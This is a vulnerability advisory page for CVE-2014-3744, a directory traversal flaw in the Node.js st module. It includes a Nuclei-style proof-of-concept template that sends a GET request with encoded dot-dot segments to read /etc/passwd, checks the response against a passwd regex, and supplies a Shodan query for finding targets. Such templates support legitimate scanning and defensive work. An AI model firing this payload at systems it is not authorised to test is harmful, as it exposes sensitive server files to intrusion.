CVE-2014-3744: Node.js st module Directory Traversal

2025-08-01 Node.js st module PoC Public

Description

A directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary files via a %2e%2e (encoded dot dot) in an unspecified path.

PoC

id: CVE-2014-3744

info:
  name: Node.js st module Directory Traversal
  author: geeknik
  severity: high
  description: A directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary files via a %2e%2e (encoded dot dot) in an unspecified path.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access or exposure of sensitive information.
  remediation: |
    Upgrade to a patched version of the st module or use an alternative module that is not vulnerable to directory traversal.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-3744
    - https://github.com/advisories/GHSA-69rr-wvh9-6c4q
    - https://snyk.io/vuln/npm:st:20140206
    - https://nodesecurity.io/advisories/st_directory_traversal
    - http://www.openwall.com/lists/oss-security/2014/05/13/1
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2014-3744
    cwe-id: CWE-22
    epss-score: 0.34012
    epss-percentile: 0.98314
    cpe: cpe:2.3:a:nodejs:node.js:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nodejs
    product: node.js
    shodan-query: cpe:"cpe:2.3:a:nodejs:node.js"
  tags: cve2014,cve,lfi,nodejs,st,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e828de73fcf0b6ee57bfc11ee3cce0c7fecc0a5f1eec462b0f0a39a6faf98a6902205d43df4c45161e92a21fa4f144ea05307b0c1febf3456d1f80801ece6f40d36f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities